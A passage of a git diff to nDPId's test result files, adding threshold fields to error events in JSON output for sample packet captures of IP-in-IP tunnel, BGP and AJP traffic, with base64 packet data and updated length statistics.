00553{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":2,"source":"4in4tunnel.pcap","alias":"nDPId-test","packets-captured":2,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":5,"global_ts_usec":1537058551803081} -00190{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2,"source":"4in4tunnel.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1537058551803081} +00290{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1537058551803081,"packet_id":2,"source":"4in4tunnel.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1537058551803081} 00506{"packet_event_id":1,"packet_event_name":"packet","packet_id":2,"source":"4in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":170,"pkt_type":33024,"pkt_l3_offset":18,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"thread_ts_usec":1537044271794779,"pkt":"AAAAAAAEpMZPO7OagQBmWIEAYfkIAEW4AJRbZwAA\/wSeOUVDI5Ipyi5uRbgAgAABAAD+Ed6ECgpkGQoKZQLzn0JoAGzGjAACAAAAJvVqAAAAAAABAACrzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq80="} 00553{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":3,"source":"4in4tunnel.pcap","alias":"nDPId-test","packets-captured":3,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":8,"global_ts_usec":1537082929816392} -00190{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3,"source":"4in4tunnel.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1537082929816392} +00290{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1537082929816392,"packet_id":3,"source":"4in4tunnel.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1537082929816392} 00506{"packet_event_id":1,"packet_event_name":"packet","packet_id":3,"source":"4in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":170,"pkt_type":33024,"pkt_l3_offset":18,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"thread_ts_usec":1537044271794779,"pkt":"AAAAAAAEpMZPO7OagQBmWIEAYfkIAEW4AJRsDwAA\/wSNkUVDI5Ipyi5uRbgAgAABAAD+Ed6ECgpkGQoKZQLzn0JoAGzKXAACAAABmvAmAAAAAAABAACrzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq80="} 00554{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":4,"source":"4in4tunnel.pcap","alias":"nDPId-test","packets-captured":4,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":11,"global_ts_usec":1537138237839574} -00190{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":4,"source":"4in4tunnel.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1537138237839574} +00290{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1537138237839574,"packet_id":4,"source":"4in4tunnel.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1537138237839574} 00506{"packet_event_id":1,"packet_event_name":"packet","packet_id":4,"source":"4in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":170,"pkt_type":33024,"pkt_l3_offset":18,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"thread_ts_usec":1537044271794779,"pkt":"AAAAAAAEpMZPO7OagQBmWIEAYfkIAEW4AJRnMwAA\/wSSbUVDI5Ipyi5uRbgAgAABAAD+Ed6ECgpkGQoKZQLzn0JoAGzXzgACAAAE5t9oAAAAAAABAACrzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq80="} 00554{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":5,"source":"4in4tunnel.pcap","alias":"nDPId-test","packets-captured":5,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":14,"global_ts_usec":1537165843864842} -00190{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":5,"source":"4in4tunnel.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1537165843864842} +00290{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1537165843864842,"packet_id":5,"source":"4in4tunnel.pcap","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1537165843864842} 00506{"packet_event_id":1,"packet_event_name":"packet","packet_id":5,"source":"4in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":170,"pkt_type":33024,"pkt_l3_offset":18,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"thread_ts_usec":1537044271794779,"pkt":"AAAAAAAEpMZPO7OagQBmWIEAYfkIAEW4AJTPEAAA\/wQqkEVDI5Ipyi5uRbgAgAABAAD+Ed6ECgpkGQoKZQLzn0JoAGz7LQACAAABZb+KAAAAAAABAACrzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq82rzavNq80="} 00556{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":5,"source":"4in4tunnel.pcap","alias":"nDPId-test","packets-captured":5,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":17,"global_ts_usec":1537165843864842} ~~~~~~~~~~~~~~~~~~~~ SUMMARY ~~~~~~~~~~~~~~~~~~~~ @@ -27,6 +27,6 @@ ~~ total memory freed........: 6034017 bytes ~~ total allocations/frees...: 121477/121477 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 195 chars +~~ json string min len.......: 295 chars ~~ json string max len.......: 561 chars -~~ json string avg len.......: 377 chars +~~ json string avg len.......: 427 chars diff --git a/test/results/BGP_redist.pcap.out b/test/results/BGP_redist.pcap.out index 471194e71..564ff61a8 100644 --- a/test/results/BGP_redist.pcap.out +++ b/test/results/BGP_redist.pcap.out @@ -1,6 +1,6 @@ 00490{"daemon_event_id":1,"daemon_event_name":"init","thread_id":0,"packet_id":0,"source":"BGP_redist.pcap","alias":"nDPId-test","max-flows-per-thread":2048,"max-idle-flows-per-thread":64,"reader-thread-count":1,"flow-scan-interval":10000000,"generic-max-idle-time":600000000,"icmp-max-idle-time":120000000,"udp-max-idle-time":180000000,"tcp-max-idle-time":3265032704,"max-packets-per-flow-to-send":3,"max-packets-per-flow-to-process":32,"max-packets-per-flow-to-analyse":32,"global_ts_usec":0} 00553{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":1,"source":"BGP_redist.pcap","alias":"nDPId-test","packets-captured":1,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":2,"global_ts_usec":1256636836167156} -00190{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":104,"packet_id":1,"source":"BGP_redist.pcap","alias":"nDPId-test","protocol":34887,"global_ts_usec":1256636836167156} +00290{"error_event_id":2,"error_event_name":"Unknown L3 protocol","datalink":104,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1256636836167156,"packet_id":1,"source":"BGP_redist.pcap","alias":"nDPId-test","protocol":34887,"global_ts_usec":1256636836167156} 00518{"packet_event_id":1,"packet_event_name":"packet","packet_id":1,"source":"BGP_redist.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":163,"pkt_type":34887,"pkt_l3_offset":4,"pkt_l4_offset":0,"pkt_len":163,"pkt_l4_len":0,"thread_ts_usec":1256636836167156,"pkt":"DwCIRwABLf5FwACbk8xAAP8G2sQCAgICBAQEBACz+C\/VqGxJPJL2UFAYP7QOoQAA\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/wBzAgAAAFxAAQECQAIAgAQEAAAAVkAFBAAAAGTAECAAAgBkAAAEVwAFAAAAAQIAgAAAAAAAAwCAAawQAgEAAIAOIQABgAwAAAAAAAAAAAICAgIAeAABkQAAAGQAAABkqgAAAA=="} 00752{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"BGP_redist.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1256636836167195,"flow_src_last_pkt_time":1256636836167195,"flow_dst_last_pkt_time":1256636836167195,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":115,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":115,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":115,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1256636836167195,"l3_proto":"ip4","src_ip":"2.2.2.2","dst_ip":"5.5.5.5","src_port":179,"dst_port":49433,"l4_proto":"tcp","flow_datalink":104,"flow_max_packets":3} 00677{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"BGP_redist.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_src_last_pkt_time":1256636836167195,"flow_dst_last_pkt_time":1256636836167195,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":4,"pkt_l4_offset":24,"pkt_len":159,"pkt_l4_len":135,"thread_ts_usec":1256636836167195,"pkt":"DwAIAEXAAJv\/w0AA\/gZtywICAgIFBQUFALPBGWeqNFC\/WbBkUBg\/x6y+AAD\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/AHMCAAAAXEABAQJAAgCABAQAAABWQAUEAAAAZMAQIAACAGQAAARXAAUAAAABAgCAAAAAAAADAIABrBACAQAAgA4hAAGADAAAAAAAAAAAAgICAgB4AAGRAAAAZAAAAGSqAAAA"} @@ -19,6 +19,6 @@ ~~ total memory freed........: 6035806 bytes ~~ total allocations/frees...: 121489/121489 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 195 chars +~~ json string min len.......: 295 chars ~~ json string max len.......: 901 chars -~~ json string avg len.......: 533 chars +~~ json string avg len.......: 582 chars diff --git a/test/results/ajp.pcap.out b/test/results/ajp.pcap.out index 4c039d3b9..4f4d8b040 100644 --- a/test/results/ajp.pcap.out +++ b/test/results/ajp.pcap.out @@ -3,36 +3,36 @@ 00748{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"ajp.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1505154584447407,"flow_src_last_pkt_time":1505154584447407,"flow_dst_last_pkt_time":1505154584447407,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1505154584447407,"l3_proto":"ip4","src_ip":"172.29.9.146","dst_ip":"172.29.9.147","src_port":38856,"dst_port":8009,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00535{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"ajp.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_src_last_pkt_time":1505154584447407,"flow_dst_last_pkt_time":1505154584447407,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":18,"pkt_l4_offset":38,"pkt_len":78,"pkt_l4_len":40,"thread_ts_usec":1505154584447407,"pkt":"AFBWg47zAFBWg11YgQAABwgARQAAPLLIQABABhyUrB0JkqwdCZOXyB9JcsXbLwAAAACgAjkI5g0AAAIEBbQEAggKTpxp5wAAAAABAwMH"} 00535{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"ajp.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_src_last_pkt_time":1505154584447407,"flow_dst_last_pkt_time":1505154584447547,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":18,"pkt_l4_offset":38,"pkt_len":78,"pkt_l4_len":40,"thread_ts_usec":1505154584447547,"pkt":"AFBWg11YAFBWg47zgQAABwgARQAAPAAAQABABs9crB0Jk6wdCZIfSZfIk6AuuHLF2zCgEjiQFewAAAIEBbQEAggKHlfv2E6caecBAwMH"} -00200{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":3,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":1505154584447556} +00300{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505154584447556,"packet_id":3,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":1505154584447556} 00395{"packet_event_id":1,"packet_event_name":"packet","packet_id":3,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":1505154584447547,"pkt":"Agq9AAAAAgq8AAAAiQNAIABQVoNdWABQVoOO84EAAAcIAEUAADwAAEAAQAbPXKwdCZOsHQmSH0mXyJOgLrhyxdswoBI4kBXsAAACBAW0BAIICh5X79hOnGnnAQMDBw=="} 00527{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"ajp.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":3,"flow_src_last_pkt_time":1505154584447616,"flow_dst_last_pkt_time":1505154584447547,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":18,"pkt_l4_offset":38,"pkt_len":70,"pkt_l4_len":32,"thread_ts_usec":1505154584447616,"pkt":"AFBWg47zAFBWg11YgQAABwgARQAANLLJQABABhybrB0JkqwdCZOXyB9JcsXbMJOgLrmAEABzfNQAAAEBCApOnGnoHlfv2A=="} 00849{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":5,"source":"ajp.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1505154584447407,"flow_src_last_pkt_time":1505154584447617,"flow_dst_last_pkt_time":1505154584447547,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":5,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":5,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1505154584447617,"l3_proto":"ip4","src_ip":"172.29.9.146","dst_ip":"172.29.9.147","src_port":38856,"dst_port":8009,"l4_proto":"tcp","ndpi": {"confidence": {"6":"DPI"},"proto":"AJP","proto_id":"139","encrypted":0,"breed":"Acceptable","category_id":5,"category":"Web"}} -00200{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":6,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":1505154584447662} +00300{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505154584447662,"packet_id":6,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":1505154584447662} 00395{"packet_event_id":1,"packet_event_name":"packet","packet_id":6,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":1505154584447617,"pkt":"Agq8AAAAAgq9AAAAiQNAIABQVoOO8wBQVoNdWIEAAAcIAEUAADyyyEAAQAYclKwdCZKsHQmTl8gfSXLF2y8AAAAAoAI5COYNAAACBAW0BAIICk6caecAAAAAAQMDBw=="} -00200{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":8,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1505154584447980} +00300{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505154584447980,"packet_id":8,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1505154584447980} 00383{"packet_event_id":1,"packet_event_name":"packet","packet_id":8,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1505154584447809,"pkt":"Agq9AAAAAgq8AAAAiQNAIABQVoNdWABQVoOO84EAAAcIAEUAADTBYEAAQAYOBKwdCZOsHQmSH0mXyJOgLrlyxds1gBAAcnzPAAABAQgKHlfv2U6caeg="} -00201{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":10,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":57,"global_ts_usec":1505154584448477} +00301{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505154584448477,"packet_id":10,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":57,"global_ts_usec":1505154584448477} 00394{"packet_event_id":1,"packet_event_name":"packet","packet_id":10,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":91,"pkt_l4_len":0,"thread_ts_usec":1505154584448303,"pkt":"Agq9AAAAAgq8AAAAiQNAIABQVoNdWABQVoOO84EAAAcIAEUAADnBYUAAQAYN\/qwdCZOsHQmSH0mXyJOgLrlyxds1gBgAcjJ\/AAABAQgKHlfv2U6caehBQgABCQ=="} -00202{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":11,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":878,"global_ts_usec":1505154584448584} +00302{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505154584448584,"packet_id":11,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":878,"global_ts_usec":1505154584448584} 01491{"packet_event_id":1,"packet_event_name":"packet","packet_id":11,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":912,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":912,"pkt_l4_len":0,"thread_ts_usec":1505154584448303,"pkt":"Agq8AAAAAgq9AAAAiQNAIABQVoOO8wBQVoNdWIEAAAcIAEUAA26yzEAAQAYZXqwdCZKsHQmTl8gfSXLF2zWToC6+gBgAc\/j3AAABAQgKTpxp6B5X79kSNAM2AgQACEhUVFAvMS4xAAA0L0NDUC9wYWdlcy9yZWxhdG9yaW9zL3JlbGF0b3Jpb0RlT3JkZW1EZVNlcnZpY28uc2VhbQAADDE3Mi4yOS4wLjEyOQD\/\/wAXc2lzdGVtYXNjY3AuaW5lcC5nb3YuYnIAAFAAAA6gBgAKa2VlcC1hbGl2ZQAADUNhY2hlLUNvbnRyb2wAAAltYXgtYWdlPTAAAAZPcmlnaW4AAB5odHRwOi8vc2lzdGVtYXNjY3AuaW5lcC5nb3YuYnIAABlVcGdyYWRlLUluc2VjdXJlLVJlcXVlc3RzAAABMQCgDgBpTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNjAuMC4zMTEyLjExMyBTYWZhcmkvNTM3LjM2AKAHACFhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQAoAEAVXRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LGltYWdlL3dlYnAsaW1hZ2UvYXBuZywqLyo7cT0wLjgAoA0AW2h0dHA6Ly9zaXN0ZW1hc2NjcC5pbmVwLmdvdi5ici9DQ1AvcGFnZXMvcmVsYXRvcmlvcy9yZWxhdG9yaW9EZU9yZGVtRGVTZXJ2aWNvLnNlYW0\/Y2lkPTY4MDgAAA9BY2NlcHQtRW5jb2RpbmcAAARnemlwAAAPQWNjZXB0LUxhbmd1YWdlAAAjcHQtQlIscHQ7cT0wLjgsZW4tVVM7cT0wLjYsZW47cT0wLjQAoAgAAzIxOQCgCQAySlNFU1NJT05JRD0wODUzOTA3RDhFMzI0Nzc2QTc0QzJBNTBBMzI2NjRFMi4wMDkxNDcAoAsAF3Npc3RlbWFzY2NwLmluZXAuZ292LmJyAAAMWC1JTUZvcndhcmRzAAACMjAABgAGMDA5MTQ3AAoAD0FKUF9SRU1PVEVfUE9SVAAABDU3MDUACgAQSktfTEJfQUNUSVZBVElPTgAAA0FDVAD\/"} -00201{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":16,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1505154584448825} +00301{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505154584448825,"packet_id":16,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":52,"global_ts_usec":1505154584448825} 00384{"packet_event_id":1,"packet_event_name":"packet","packet_id":16,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":86,"pkt_l4_len":0,"thread_ts_usec":1505154584448662,"pkt":"Agq9AAAAAgq8AAAAiQNAIABQVoNdWABQVoOO84EAAAcIAEUAADTBYkAAQAYOAqwdCZOsHQmSH0mXyJOgLr5yxd9QgBAAi3iVAAABAQgKHlfv2k6caeg="} 00749{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":20,"source":"ajp.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1505154584618218,"flow_src_last_pkt_time":1505154584618218,"flow_dst_last_pkt_time":1505154584618218,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1505154584618218,"l3_proto":"ip4","src_ip":"172.29.9.146","dst_ip":"172.29.9.147","src_port":38856,"dst_port":8010,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00536{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"ajp.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_src_last_pkt_time":1505154584618218,"flow_dst_last_pkt_time":1505154584618218,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":18,"pkt_l4_offset":38,"pkt_len":78,"pkt_l4_len":40,"thread_ts_usec":1505154584618218,"pkt":"AFBWg47zAFBWg11YgQAABwgARQAAPLLIQABABhyUrB0JkqwdCZOXyB9KcsXbLwAAAACgAjkI5gwAAAIEBbQEAggKTpxp5wAAAAABAwMH"} 00536{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"ajp.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":2,"flow_src_last_pkt_time":1505154584618218,"flow_dst_last_pkt_time":1505154584618218,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":18,"pkt_l4_offset":38,"pkt_len":78,"pkt_l4_len":40,"thread_ts_usec":1505154584618218,"pkt":"AFBWg11YAFBWg47zgQAABwgARQAAPAAAQABABs9crB0Jk6wdCZIfSpfIk6AuuHLF2zCgEjiQFesAAAIEBbQEAggKHlfv2E6caecBAwMH"} -00201{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":22,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":1505154584618218} +00301{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":7,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1505154584618218,"packet_id":22,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":1505154584618218} 00396{"packet_event_id":1,"packet_event_name":"packet","packet_id":22,"source":"ajp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":1505154584618218,"pkt":"Agq9AAAAAgq8AAAAiQNAIABQVoNdWABQVoOO84EAAAcIAEUAADwAAEAAQAbPXKwdCZOsHQmSH0mXyJOgLrhyxdswoBI4kBXsAAACBAW0BAIICh5X79hOnGnnAQMDBw=="} 00528{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"ajp.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":3,"flow_src_last_pkt_time":1505154584618218,"flow_dst_last_pkt_time":1505154584618218,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":18,"pkt_l4_offset":38,"pkt_len":70,"pkt_l4_len":32,"thread_ts_usec":1505154584618218,"pkt":"AFBWg47zAFBWg11YgQAABwgARQAANLLJQABABhybrB0JkqwdCZOXyB9KcsXbMJOgLrmAEABzfNMAAAEBCApOnGnoHlfv2A=="} 00850{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":24,"source":"ajp.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":3,"flow_dst_packets_processed":1,"flow_first_seen":1505154584618218,"flow_src_last_pkt_time":1505154584618218,"flow_dst_last_pkt_time":1505154584618218,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":5,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":5,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1505154584618218,"l3_proto":"ip4","src_ip":"172.29.9.146","dst_ip":"172.29.9.147","src_port":38856,"dst_port":8010,"l4_proto":"tcp","ndpi": {"confidence": {"6":"DPI"},"proto":"AJP","proto_id":"139","encrypted":0,"breed":"Acceptable","category_id":5,"category":"Web"}} -00201{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":25,"source":"ajp.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":1505154584618218} +00301{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection 